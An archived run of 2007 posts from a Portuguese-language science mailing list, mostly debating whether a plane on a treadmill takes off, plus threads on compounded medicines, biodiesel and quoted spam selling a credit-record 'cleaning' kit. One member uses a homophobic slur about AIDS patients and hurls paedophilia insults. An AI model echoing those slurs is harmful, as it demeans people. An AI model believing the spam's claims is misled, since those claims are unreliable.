Um 747 tem muitas outras variáveis a serem consideradas, e dificilmente o criador da pergunta está pensando em casos concretos ou aviões específicos. A resposta não é "bem, para 747, com atritos em tal e tal porcentagem, em condições de vento de través, etc, etc, não decola, mas teco-tecos, com condições assim e assado, decolam". O peso de um 747 exerce "gigantesco" efeito no atrito dos rolamentos, mas um paulistinha é tão leve que o atrito seria desprezível a qualquer velocidade de decolagem.

O que vamos fazer, criar uma resposta para cada tipo de avião? Analisar os atuais "estado da arte" dos rolamentos aeronauticos de cada tipo de avião? Perguntar do que é feita a superfpicie da esteira, para calcular a perda de atrito relativa?

Desculpe, Takata, mas me parece evidente que, se fossemos considerar todas essas "variáveis" em cada enunciado hipotético de exemplos fictícios, todas as respostas seriam: depende.

E me parece claro que estes enunciados são criados para receber respostas bem diferentes, e não um, razoável e lógico, porém inútul, depende. Muito menos para este enunciado, que receberia a resposta, "depende de quanto atrito os rolamentos das rodas permitem, em relação a atual fabricação destes, suas equações, a velocidade do vento, contra ou a favor, tipo de aeronave, etc, etc. Depende, será SEMPRE a respota de toda pergunta, nessa situação que você propõe.

Nos termos deste enunciado, com um avião hipoteticamente padrão, com o atrito sendo mínimo ou desprezível nos rolamentos das rodas (em relação a seu peso/potencia), a esteira é uma "pegadinha" e não impede, a qualquer velocidade, a decolagem do aeroplano (ainda que o enunciado limite a velocidade a mesma do avião).

Posso entender que você possa criar muitos outros exemplos, em que de alguma forma o atrito (e não exatamente a esteira) impediria a decolagem, por exemplo, se os freios das rodas estiverem ligados), mas não é isso que o enunciado propõe, ou que qualquer experimento intelectual e mental espera como resposta.

Um abraço.

Homero




----- Original Message -----
From: rmtakata
To: ciencialist@yahoogrupos.com.br
Sent: Monday, March 05, 2007 4:16 PM
Subject: [ciencialist] Está errado, Renato - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira


--- Em ciencialist@yahoogrupos.com.br, "Oraculo" <oraculo@...>
> E o que o Takata está fazendo é ajustando novos fatores de tração,
> como a "deformação" dos pneus, que não existem no enunciado, para
> justificar o injustificável. Na forma proposta, o avião decola sem
> problemas.

Não estou ajustando, Homero. Estou apenas considerando os fatores.
Deformações e atritos não-nulos existem na vida real.

De fato não são mencionados no enunciado, mas até aí a existência de
um piloto tampouco é mencionado, nem mm de asas ou o formato do avião.
Mas, até aí, não seria razoável supor q não estivessem presentes ou \q
não fosse um com fuselagem tubular. Tb não menciona dinossauros ou
buracos-negros, e não seria razoável supor q estivessem presentes.

O mais razoável é imaginar uma decolagem normal (dentro da variação
normalmente existente - tipo de avião, carga, configuração da
aeronave, etc.) modificada apenas no q se refere ao enunciado.

Atrito zero não é o q existe em uma decolagem normal. Aplicando-se
diretamente a equação a um Airbus A380 com massa de 560 toneladas a
300 km/h, teremos uma resistência à rolagem de:

Fr = m.g.[cr+3,24.crf.(V/100)^2,5)
Fr = 560000.10.[0,0075+0,0025.3,24.(372,83/100)^2,5)
Fr = 1.259.387,84 N

(sem correção de temperatura)

Para comparação, o empuxo de decolagem de um GP7270 é de 311.000 N
[1], com os quatro q equipa um A380, são 1.244.000 N

[1] http://www.mtu.de/channel/files/pdf/brochure_gp7000.pdf

[]s,

Roberto Takata





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: P/ Takata - Está errado, Renato - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "Oraculo" <oraculo@atibaia.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 05/03/2007 16:45

Olá Takata

Takata: "Detalhe: o enunciado não menciona rodas."

Isso ilustra, e prova, meu email anterior, e minhas considerações sobre a irrelevancia de atrito, rodas, piloto. E ilustra como, se tomarmos sua colocação como correta, isso impede que se responda a QUALQUER experimento mental ou hipotético com outra coisa que não: depende.

O que faremos? Vamos analisar cada tipo de trem de pouso, de cada modelo de aeronave, como esquis, rodas, flutuadores, etc? Cada potencia de cada motor, cada peso, cada piloto e suas habilidades? Cada tipo de rolamento aeronautico? Um teco-teco, com os rolamentos de Boeing, decola? E um hidroavião, que tem motores e empuxo especiais para vencer a resistência da água, com rodas, decola?

Não me parece razoável, Takata. Não é um caso concreto, e não se trata de atrito em rolamentos. Se trata de "pegar" nossa natural tendencia a lidar com rodas como fornecedores de "tração", o que nos "engana" ao ler o enunciado. E se trata de nos fazer entender que a esteira NÃO tem a capacidade de "compensar" o movimento do avião, pois as rodas são dispositivos de "eliminar" a tração e a resitência.

Essa é a intenção do experimento mental, não calcular as complexas equações de atrito de rodas ou esquis.

Um abraço.

Homero



----- Original Message -----
From: rmtakata
To: ciencialist@yahoogrupos.com.br
Sent: Monday, March 05, 2007 4:25 PM
Subject: [ciencialist] Está errado, Renato - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira


--- Em ciencialist@yahoogrupos.com.br, "Oraculo" <oraculo@...>
> E o que o Takata está fazendo é ajustando novos fatores de tração,
> como a "deformação" dos pneus, que não existem no enunciado, para
> justificar o injustificável. Na forma proposta, o avião decola sem
> problemas.

Detalhe: o enunciado não menciona rodas.

[]s,

Roberto Takata





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SUBJECT: Re: [ciencialist] Remédios manipulados
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 05/03/2007 17:13

Renato:

Nós somos velhos amigos, sinto que vs. não fez nenhum comentário sobre a falta de apôio aos portadores de coenças graves, mortais, como as cardiopatias.
Eu reclamo pois realmente ajudei a construir 4 usinas sidero-metalúrgicas, trabalhando com amor e dedicação, como outros milhares de trabalhadores: aposentado, não recebemos nada do Governo para a compra de remédios tambem caros: nós já não pertencemos mais à elite dos freis Beto, demagogos, pedófilos, pederastas.....

sds.,

silvio
----- Original Message -----
From: José Renato
To: ciencialist@yahoogrupos.com.br
Sent: Saturday, March 03, 2007 10:05 PM
Subject: Re: [ciencialist] Remédios manipulados


Caro Silvio, a distribuição grátis sob controle, por parte do governo
federal, é feita prioritariamente para atender os enfermos de moléstias
contagiosas, como a AIDS, tuberculose, sarampo, gripe, difteria, raiva, etc.
Se assim não fosse estaríamos muito mais expostos a essas doenças
controláveis. Atualmente, o maior avanço da AIDS está em mulheres
heterossexuais contaminadas pelos próprios parceiros.
[]s
JR
.......................................

From: "Silvio Cordeiro" <scordeiroes@To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, March 02, 2007 12:24 PM
Subject: Re: [ciencialist] Remédios manipulados

Gil:

Sou cardíaco muito grave, tomo 21 comp. por dia sendo que 6 são manipulados.
A farmácia que os prepara tem todos os certificados de qualidade. A médica
que me assiste concorda por dois motivos: o primeiro, é que não posso
comprar os de marca e segundo, nunca teve problemas com esses manipulados.
Há muitos médicos que, por "segurança" forçam a compra dos originais: aí, o
cara não compra nem um nem outro....
É uma decisão quja prioridade é a disponibilidade de grana: se pode comprar,
compre os de marca. não podendo, mande aviar.
E agora tem a Farmácia Polular que vende remédios a baixo preço, mas só
alguns e os mais baratos.

Uma curiosidade demagógica de nossos políticos: nós que trabalhamos a vida
toda 35 anos de serviço pesado e ficamos doentes, a maioria cardíacos, não
temos nenhum apôio do Governo.
Entretanto a viadada com sua AIDS tem tudo de graça, na hora, remédios
caríssimos, importados: nota-se que o governo, os políticos estabelecem
critérios em causa própria.....

sds.,

silvio
----- Original Message -----
From: Gil
To: ciencialist@yahoogrupos.com.br
Sent: Friday, March 02, 2007 9:24 AM
Subject: [ciencialist] Remédios manipulados

Eu preciso comprar um remédio, e como o preço não é nada "doce", pensei em
compra-lo manipulado. Mas uma pessoa me disse que os remédios manipulados
"não são bons". Isso tem algum fundamento? Ou seria apenas efeito
"nocebo"?

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SUBJECT: Re: [ciencialist] Reciclando o óleo de cozinha
FROM: Erich Weick <erich_weick@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/03/2007 17:26

Assisti a um documentário, acho que na Discovery Channel sobre um sujeito nos EUA que modificou um automóvel para ser movido à biocombustivel.
Acho que ele usava hidróxido de sódio na reação com o óleo de cozinha que ele coletava nos restaurantes de sua cidade, tudo feito em um liquidificador...

[]´s
Erich

"César A. K. Grossmann" <cesarakg@gmail.com> escreveu: Olá

No site da Agência Radiobrás há uma matéria sobre a reciclagem do óleo
usado na cozinha. Ali eles ensinam a transformar o óleo em sabão:

http://www.agenciabrasil.gov.br/noticias/2007/03/04/materia.2007-03-04.8010256279/view

Aí eu pergunto: tem como transformar em biodiesel? Se procurarmos por
"cooking oil biodiesel" aparecem várias páginas na Internet, mas tem
algum processo que seja interessante para quem tem em casa, para
transformar o óleo usado em biodiesel sem pagar muito pela
transformação? Ecologicamente falando, o que vale mais a pena,
transformar o óleo usado em sabão ou em biodiesel (acho que em
biodiesel, já que o combustível vai ser queimado de qualquer forma,
mas pelo menos não virá de um depósito petrolífero - ou seja, sem
aumentar a quantidade de carbono da atmosfera, e sem poluir com enxofre).

Só lembrando que quem fizer isto e não tiver um carro movido a diesel
pode estar comprando problemas, já que a venda de combustível é algo
que depende de autorizações...

[]s
--
César A. K. Grossmann





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SUBJECT: P/ Takata - Está errado, Renato - O avião decola SEM PROBLEMAS..:-) Re: avião em
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/03/2007 17:36

--- Em ciencialist@yahoogrupos.com.br, "Oraculo" <oraculo@...>
> Isso ilustra, e prova, meu email anterior, e minhas considerações
> sobre a irrelevancia de atrito, rodas, piloto. E ilustra como, se
> tomarmos sua colocação como correta, isso impede que se responda a
> QUALQUER experimento mental ou hipotético com outra coisa que não:
> depende.

E a resposta pode ser mm depende.

> Não me parece razoável, Takata.

Por isso q parece uma abordagem mais razoavel partir de uma decolagem
normal.

> Essa é a intenção do experimento mental, não calcular as complexas
> equações de atrito de rodas ou esquis.

Ou nao. Depende da abordagem. O atrito pode se tornar muito significativo.

[]s,

Roberto Takata



SUBJECT: Está errado, Renato - O avião decola SEM PROBLEMAS..:-) Re: avião em esteira
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/03/2007 18:31

--- Em ciencialist@yahoogrupos.com.br, "Oraculo" <oraculo@...>
> Permita-me discordar. Este tipo de enunciado tem função específica,
> que não é ser "identica" ao mundo real, ou resolver problemas
> concretos do mundo real. Não se trata de resolver como fazer um
> avião real decolar a partir de uma esteira, pois NINGUÉM construiria
> um aeroporto dessa forma..:-)

Toda permissao para discordar. Mas eu discordo da sua discordancia na
medida em q enunciados gedanken eliminam EXPLICITAMENTE o q nao deve
ser considerado. Exemplos, provas de vestibular explicitamente dizem:
desconsidere atrito com o ar, um corpo em MRU, assuma g=10 m/s^2 e
assim por diante. Se nao sao eliminados, sao considerados na medida em
q situacoes normais os manifestem e condicoes excepcionais - raras,
porem interessantes - tb podem ser consideradas.

Jah dei exemplo do piloto, das asas e da forma do aviao. Nao sao
explicitamente considerados no enunciados, nao significa q se assume q
seja inexistentes por default.

Por normalmente nao se construirem pistas de decolagem na forma de
esteira eh q o enunciado diz explicitamente q a pista eh dessa forma.

> Um 747 tem muitas outras variáveis a serem consideradas, e
> dificilmente o criador da pergunta está pensando em casos concretos
> ou aviões específicos. A resposta não é "bem, para 747, com atritos
> em tal e tal porcentagem, em condições de vento de través, etc, etc,
> não decola, mas teco-tecos, com condições assim e assado, decolam".
> O peso de um 747 exerce "gigantesco" efeito no atrito dos
> rolamentos, mas um paulistinha é tão leve que o atrito seria
> desprezível a qualquer velocidade de decolagem.

A resposta poderia ser essa. Se o formulador ignorou esse tipo de
situacao, ele poderah ser alertado com a resolucao. Ou poderah ser a
intencao de quem criou o enunciado. Mas essa especulacao eh q nao
parece ser muito produtiva - como nao eh uma questao de vestibular,
mas uma lista de discussao de ciencias, as intencoes de um
desconhecido questionador nao parecem ser relevantes.

> O que vamos fazer, criar uma resposta para cada tipo de avião?

Nao necessariamente. Podem-se criar condicoes limites: para avioes com
relacao carga/potencia de tal valor, eles decolam, acima disso, nao.

> Perguntar do que é feita a superfpicie da esteira, para calcular a
> perda de atrito relativa?

Assume-se uma pista de concreto como os aeroportos normais.

> Desculpe, Takata, mas me parece evidente que, se fossemos considerar
> todas essas "variáveis" em cada enunciado hipotético de exemplos
> fictícios, todas as respostas seriam: depende.

Nao. "Um trem partiu da cidade A para a cidade B, q dista 700 km em um
percurso em linha reta. A velocidade media do trem foi de 20 km/h. Em
qto tempo o trem chegou ao destino?"

> E me parece claro que estes enunciados são criados para receber
> respostas bem diferentes, e não um, razoável e lógico, porém inútul,
> depende.

O inutil fica por sua conta. Mostrar q existe uma componente do atrito
dependente da velocidade q se torna significativa 'a altas velocidades
pode ser bem util em um outro ponto de vista. Vc, por exemplo,
imaginaria q uma forca de resistencia 'a rolagem poderia alcancar
valores tao grandes qto a potencia de quatro turbinas das q equipam um
A380?

A introducao de duas condicoes realistas aparentemente despreziveis
com o interessante efeito de tornar o resultado bem mais complexo. A
suposicao da inexistencia do atrito leva a uma conclusao de q nao
importa a velocidade da esteira, a aceitacao da existencia do atrito
(ainda q de coeficiente pequeno) leva a uma conclusao de q, a altas
velocidades, a esteira pode deter o aviao. (Em uma extrapolacao eh
possivel ateh se pensar em uma aplicacao tecnologica disso: esteiras
de frenagem ao fim da pista - permitindo pousos de emergencia de
grandes aeronaves.)

Com dois hamster da cartola. E outros tres nela.

[]s,

Roberto Takata



SUBJECT: Re: Fw: agua salobra
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/03/2007 18:32

--- Em ciencialist@yahoogrupos.com.br, "Silvio Cordeiro"
> Acredito que qualquer técnico agrícola tenha o projeto de um
> filtro de areia e carvão, já testado, há anos distribuido pelo
> govêrno.

Filtro de areia e carvao nao retira sais dissolvidos na agua. Apenas
particulas em suspensao.

[]s,

Roberto Takata



SUBJECT: Re: Remédios manipulados
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/03/2007 18:44

--- Em ciencialist@yahoogrupos.com.br, "Silvio Cordeiro"
> milhares de trabalhadores: aposentado, não recebemos nada do Governo
> para a compra de remédios tambem caros: nós já não pertencemos mais

Vc pode entrar com acao na justica para ter garantido seu direito.
Varias pessoas entraram e ganharam o direito de ter seus medicamentos
pagos pelo SUS. (Infelizmente leva anos.)

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] A ciência da felicidade - José Renato
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 05/03/2007 20:00

Deus:

Essa velada referência a compra de livros do paulo cuêio é atitude insensata, tentando obstruir a evolução dos listeiros,
insensata pois todos de amam.

sds.,

silvio.
----- Original Message -----
From: Luiz Ferraz Netto
To: ciencialist@yahoogrupos.com.br
Sent: Sunday, March 04, 2007 5:23 PM
Subject: Re: [ciencialist] A ciência da felicidade - José Renato


De: "José Renato"
A ciência da felicidade

> "O que é preciso para as pessoas viverem a felicidade?"

Comprar meia dúzia de livros de auto-ajuda, estudar Ciência e até atingirem o nível 33, afastarem-se da listas científicas.

aquele abraço,

===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================





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SUBJECT: Re: [ciencialist] LIMPE SEU NOME EM 10 DIAS DO SPC, SERASA, PROTESTO E CCF
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/03/2007 21:39

Luiz Ferraz,
já que vc não entendeu, explico.
Pela linha da ironia e do ridículo, estou defendendo a lista e também
cotucando quem deixou passar.
Eu sei que é difícil, mas alguém deixou.
A propósito, obrigado por vc ter se dirigido à minha pessoa diretamente,
pela primeira vez em anos.
abr/M.


>From: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: <ciencialist@yahoogrupos.com.br>
>Subject: Re: [ciencialist] LIMPE SEU NOME EM 10 DIAS DO SPC, SERASA,
>PROTESTO E CCF
>Date: Sun, 4 Mar 2007 17:13:57 -0300
>
>Murilo,
>
>Qual a finalidade científica da resposta da mensagem em questão?
>agradeço a explicação.
>
>[]'
> ===========================
> Luiz Ferraz Netto [Léo]
> leobarretos@uol.com.br
> http://www.feiradeciencias.com.br/doacoes.asp
> ===========================
>-----Mensagem Original-----
>De: "murilo filo" <avalanchedrive@hotmail.com>
>Para: <ciencialist@yahoogrupos.com.br>
>Enviada em: domingo, 4 de março de 2007 16:43
>Assunto: RE: [ciencialist] LIMPE SEU NOME EM 10 DIAS DO SPC, SERASA,
>PROTESTO E CCF
>
>
>Atenção, lista!!!
>P/quem é ladrão e não conseguiu se eleger!
>Este não será também um tema meio ''desloucado'' aquí?
>abr.M.
>
>
> >From: "patricia2171_linda" <patricia2171_linda@yahoo.com.br>
> >Reply-To: ciencialist@yahoogrupos.com.br
> >To: ciencialist@yahoogrupos.com.br
> >Subject: [ciencialist] LIMPE SEU NOME EM 10 DIAS DO SPC, SERASA, PROTESTO
>E
> >CCF
> >Date: Sun, 04 Mar 2007 19:16:38 -0000
> >
> >
> >LIMPE SEU NOME EM 10 DIAS DO SPC, SERASA, PROTESTO E CCF
> >
> >Dívidas de qualquer valor!
> >
> >Seja cartão de crédito, financeiras, bancos, telefonia fixa ou
> >móvel etc...
> >
> >R$100,00... R$5.000,00... R$100.000,00...
> >
> >Regularize já o seu nome!
> >
> >O FRETE É GRATIS!
> >
> >O material está em Word Nele é explicado passo a passo como
> >retirar seu nome de órgãos de restrição de crédito em apenas
> >10 dias úteis. Inclui todas as documentações necessárias para
> >que você possa dar entrada no Serasa, Spc e outros, cabendo a você
> >apenas colocar os seus dados e os dados da empresa que você deve.
> >
> >TIRE SEU NOME NO SERASA, SPC, e outros órgãos de restrições a
> >crédito, ANTES DE PAGAR A DÍVIDA.
> >
> >EM 10 DIAS ÚTEIS
> >
> >Tudo o que você precisa saber para estar habilitado a limpar o seu
> >nome e de outras pessoas e Empresas. Em 10 dias úteis, mesmo antes de
> >pagar a dívida, seja qualquer quantia.
> >
> > DE FORMA TOTALMENTE LEGAL
> >
> > LEMBRANDO QUE VC Ñ VAI PAGAR E NEM FRAUDAR NADA, SIMPLESMENTE VC VAI
> >USAR A PROPRIA LEI QUE ´´SUJOU`` SEU NOME PARA LIMPA-LO NOVAMENTE
> >
> > Super material completo com todas as informações e procedimentos
> >para cada caso, e modelos de documentos para você preencher e dar
> >entrada imediatamente nos locais indicados, e limpar seu nome em 10 dias
> >úteis (depois de baixado seu nome ele não voltará mais pelas
> >mesmas dividas, pois vc ira retirar seu nome de forma legal). Tudo para
> >você agir já.
> >
> >Com este material você pode limpar o seu nome, de seus amigos,
> >conhecidos ou até ganhar uma renda extra, isso mesmo o que as
> >empresas fazem para limpar teu nome, vc vai poder fazer, sem contratar
> >advogado algum, nem empresa alguma.
> >
> >SÓ DEPENDE DE VC! VALOR 19,99
> >
> >1)BANCOS CONVENIADOS:
> >
> >CAIXA ECONOMICA FEDERAL
> >
> >1) FORMAS DE ENVIO:
> >
> >E-MAIL = GRATIS
> >
> >1) FORMAS DE PAGAMENTO:
> >
> >TRANSFERENCIA ON LINE
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> >OU
> >
> >DEPOSITO EM CONTA.
> >PEÇA MAIS INFORMAÇÕES PELO: plenitude2007@bol.com.br
> ><mailto:plenitude2007@bol.com.br> ou visite o nosso site:
> >www.academiamundial21.com <http://www.academiamundial21.com/>
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SUBJECT: Re: LIMPE SEU NOME EM 10 DIAS DO SPC, SERASA, PROTESTO E CCF
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/03/2007 21:50

--- Em ciencialist@yahoogrupos.com.br, "murilo filo"
> Eu sei que é difícil, mas alguém deixou.

Negócio seguinte. A lista tinha envio aberto para todos os membros -
por questões funcionais e de liberdade. Por conta desse e de outros
episódios de abusos de spammeres, a fim de proteger os demais membros
contra esse tipo de coisa, a lista está agora funcionando sob
moderação para os novos membros. Eles terão mensagens liberadas à
medida em q elas indicarem q não são os odiosos spammeres.

[]s,

Roberto Takata



SUBJECT: RE: [ciencialist] SUPER PROMOÇÃO DOS NOSSOS PRODUTOS PARA VOCE!!
FROM: "murilo filo" <avalanchedrive@hotmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/03/2007 21:52

olha ela aí, de novo... digo, ainda...


>From: "patricia2171_linda" <patricia2171_linda@yahoo.com.br>
>Reply-To: ciencialist@yahoogrupos.com.br
>To: ciencialist@yahoogrupos.com.br
>Subject: [ciencialist] SUPER PROMOÇÃO DOS NOSSOS PRODUTOS PARA VOCE!!
>Date: Sun, 04 Mar 2007 21:26:06 -0000
>
>
>SUPER PROMOÇÃO DOS NOSSOS PRODUTOS PARA VOCE!!
>
>
>
>
>
>KIT SPC E SERASA PARA LIMPAR NOME 19,99
>
>
>
>KIT PARA TIRAR MULTA DE TRANSITO(FANTASTICO) 19, 00
>
>
>
>SUPER PROMOÇÃO: CURSINHO PRÉ- VESTIBULAR COM 7 CDS COMPLETO
>VERSÃO 2007 POR APENAS 35,00
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>
>KIT COMPLETO COM (1) CD. CURSO DE MANUTENÇÃO E REPARO DE CELULARES,
>TODOS OS MODELOS E MARCAS. 19,00
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>KIT COMPLETO COM (1) CD DE SERIGRAFIA! TENHA UMA PROFISSÃO LUCRATIVA
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>RECARREGAR CARTUCHOS DE TINTAS PARA TODAS AS IMPRESSORAS! MUITO
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> OBS. NOS ENVIE UM E-MAIL PERGUNTANDO SOBRE CADA ITEM QUE LHE INTERESSA,
>QUE ENVIAREMOS AS INFORMAÇÕES E COMO FAZER O PAGAMENTO.
>
>
>
>plenitude2007@bol.com.br <mailto:plenitude2007@bol.com.br> /
>vinhote-21@bol.com.br <mailto:vinhote-21@bol.com.br>
>vinhote21@hotmail.com <mailto:vinhote21@hotmail.com>
>
>
>
> OU ACESSE:
>www.academiamundial21.com <http://www.academiamundial21.com/>
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>[As partes desta mensagem que não continham texto foram removidas]
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SUBJECT: Re: SUPER PROMOÇÃO DOS NOSSOS PRODUTOS PARA VOCE!!
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 05/03/2007 21:56

--- Em ciencialist@yahoogrupos.com.br, "murilo filo"
> olha ela aí, de novo... digo, ainda...

A mocréia já foi banida há mais de 20 horas: 5 de Mar de 2007 1:18 am
- pra ser exato. Se bem q deve ser mocréio usando nome feminino.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] A ciência da felicidade - José Renato
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 05/03/2007 23:20

Olá, Chicão, veja se a resposta a que vc se refere não é a já enviada dia 3,
às 11:41 PM, cujo o início colo abaixo. Se não for peço indicar n° ou data e
hora da mesma, OK?
[]s
JR
.....................................
----- Original Message -----
From: José Renato
To: acropolis_@yahoogrupos.com.br
Sent: Saturday, March 03, 2007 11:41 PM
Subject: [Acropolis_] Re: [ciencialist] Crueldade com animais


Olá, Chicão! Seus últimos comentários estão após C1 -. Faço os meus após
JR1 -, OK?

From: "Chicao Valadares" <chicaovaladares@
To: <ciencialist@yahoogrupos.com.br>
Sent: Wednesday, February 28, 2007 6:57 PM
Subject: Re: [ciencialist] Crueldade com animais

C - Rapaz, o que eu estou querendo são princípios que motivam essas coisas.
O que é justiça?? O que é racionalidade? ?? Voasse fala que é bom , justo e
racional sem explicar o porquê. Não somos mais crianças e nem somos
religiosos para dividir as coisas simplesmente em bem e mal. Eu aposto que
você segue as regras sem entender EXATAMENTE por quais motivos a segue.

JR - Esse aprendizado começa inconscientemente na primeira infância do zero
aos quatro anos. A consciência e o discernimento vem aos poucos após a
adolescência, onde adquirimos nossas primeiras
convicções. O restante da vida é a contínua e permanente fase das
avaliações-reavaliaçõ es. Sobre esses
>temas como justiça, bem, mal, racionalidade, o mundo está cheio de bons
>livros contendo as mais diversas visões ou percepções. Para refletir sobre
>essas visões é necessário liberdade, tranqüilidade,
tempo... Mas essas são as primeiras riquezas que vampiros midiáticos
marqueteiros nos furtam com
promessas sedutoras de emoção, prazer, alegria, participação.. . A partir
daí viramos um cidadão-zumbi, não temos mais vontade nem idéias próprias,
nem tomamos nossas decisões com liberdade e conhecimento. Nos ajeitamos no
roldão em que todos os "consumidores" são levados...
(deletei o restante)
.............................................

----- Original Message -----
From: "Chicao Valadares" <chicaovaladares@yahoo.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, March 05, 2007 2:46 PM
Subject: Re: [ciencialist] A ciência da felicidade - José Renato


> Ué JR não vai responder minha ultima réplica a seu
> email sobre ética??
> Discutir o que é ética tem tudo a ver com felicidade.
> Ou não.
>
> Abraços.
.................................................................
>
> --- José Renato <jrma@terra.com.br> escreveu:
>
>> A ciência da felicidade
>>
>> O que é preciso para as pessoas viverem a felicidade?
>>
>> No grupo, um amigo - afeito a questões complicadas,
>> que passam despercebidas ou preferimos esquecer -
>> propôs que seja incluída no currículo educacional
>> uma disciplina que ensine a ciência da felicidade.
>>
>> Existirá um conhecimento específico para ser feliz?
>> Como obter e manter a felicidade?
>>
>> De algum modo sua proposta nos fez calar e, o
>> melhor, pensar.

(apaguei o restante)



SUBJECT: Re: [ciencialist] P/ Renato, decola sem problemas sim - O avião decola SEM PROBLEMAS..:-)
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 05/03/2007 23:36

Olá, Homero! Como vc mesmo diz, não há atrito zero no rolamento das rodas.
Assim sendo, a esteira transportará o avião na direção do movimento dela.
Esse comentário já está no e-mail colado abaixo, do qual destaco o seguinte
texto:

[ Se as hélices ou turbinas estão paradas a esteira carrega o avião para
trás. As rodas girarão um pouco apenas no caso da esteira partir com uma
*aceleração* alta o suficiente para vencer o atrito dos rolamentos das
rodas. Depois que a esteira "infinita" atinge a velocidade limite máxima e a
*aceleração* cai a zero, as rodas do avião param de rodar e ele passa a ser
transportado "paradão", se deslocando para trás com a mesma velocidade da
esteira. ]

[]s

JR
...................................
From: "José Renato" <jrma@To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, March 04, 2007 6:38 PM
Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em
esteira


> Olá, Ricardo, dentro da questão proposta originalmente, faço comentários
> após os seus:
> ...........................
> From: "Ricardo" <ricardos@To: <ciencialist@yahoogrupos.com.br>
> Sent: Sunday, March 04, 2007 4:09 PM
> Subject: Re: [ciencialist] O avião decola SEM PROBLEMAS..:-) Re: avião em
> esteira
>
>> Devo dizer que tive o mesmo raciocínio inicialmente, é verdade. É ao que
>> somos levados a pensar a princípio. Mas como o sistema que empurra o
>> avião
>> para frente é independente da esteira (turbina, por exemplo), a esteira
>> se
>> mover para trás não empurra o avião para trás de forma determinante, mas
>> sim, faz as rodas girarem mais rápido.
> JR - É isso que o Takata está tentando há vários e-mails esclarecer a vc e
> a
> Homero. Vamos ver se consigo: se as hélices ou turbinas estão paradas a
> esteira carrega o avião para trás. As rodas girarão um pouco apenas no
> caso
> da esteira partir com uma *aceleração* alta o suficiente para vencer o
> atrito dos rolamentos das rodas. Depois que a esteira "infinita" atinge a
> velocidade limite máxima e a *aceleração* cai a zero, as rodas do avião
> param de rodar e ele passa a ser transportado "paradão", se deslocando
> para
> trás com a mesma velocidade da esteira.
> A seguir, vamos ver o que ocorre quando os motores do avião são acionados.
>
>> Então, o avião anda para a frente, em relação ao chão, a esteira roda
>> para
>> trás, e as rodas giram mais rápido.
> JR - Não, Ricardo, com os motores parados o avião não se desloca para
> frente
> a não ser uns poucos metros, caso a esteira parta com alta aceleração.
> Ele
> só passará a se deslocar para frente continuamente sobre a esteira quando
> os
> motores das hélices ou turbinas forem acionados e acelerados.
> Ao atingir a mesma velocidade da esteira em sentido contrário, as rodas
> estarão girando sobre a esteira como um carro no asfalto, mas o avião
> estará
> praticamente parado em relação ao solo ou ao ar que o rodeia, exceto em
> relação ao fluxo de ar deslocado pelas hélices ou turbinas.
> Adendo: no caso de avião com hélices pode ocorrer desse fluxo de ar acima
> mencionado ser suficientemente forte para elevar o avião da esteira, o que
> poderia ser considerado um vôo, semelhante ao que ocorreria se o avião
> fosse
> "amarrado pela cauda" e acelerasse os motores.
>>
>> []s
>> Ricardo
>
> []s
> José Renato
> ................................................

----- Original Message -----
From: "Oraculo" <oraculo@atibaia.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Monday, March 05, 2007 3:19 PM
Subject: [ciencialist] P/ Renato, decola sem problemas sim - O avião decola
SEM PROBLEMAS..:-)


Olá Jose Renato

Renato: "Pois é, Ricardo, e a esteira leva o avião para trás na mesma
velocidade!
Isso significa que o mesmo está praticamente parado em relação ao solo e ao
ar que o envolve, exceto o fluxo do ar "empurrado para trás" pelas hélices
ou turbinas. Difícil, não?
"

NÃO LEVA!!! A esteira NÂO LEVA o avião apra trás, porque NÃO existe tração
na esteira!!!! Sim, é difícil deixar a idéia de que rodas são a traçaõ do
veículo, e isso está confundindo você. Renato, a esteira NÃO LEVA o avião
apra tras, depois que ele liga as turbinas!

Só levaria se as rodas estivessem, de alguma forma, PRESAS a esteira, e elas
NÃO ESTÃO. Elas GIRAM justamente para EVITAR a trtação, são dispositivos de
eliminação de tração, de atrito. Pense em uma mala na esteira do aeroporto.

SE as rodas são fixas, não giram, ao rolar a esteira você terá de fazer
GRANDE força para manter a mala no lugar, enquanto a esteira rola abaixo
dela. Isso porque o atrito das rodas fixas com a superfície da esteira
fornece tração para a esteira empurrar a mala.

MAS, SE as rodas giram soltas, basta um PEQUENO esforço de sua mão, e a mala
fica no luagar, com as rodas girando e a esteira rolando abaixo dela. O
esforço que tem de fazer é pequeno, APENAS o suficiente para vencer o atrito
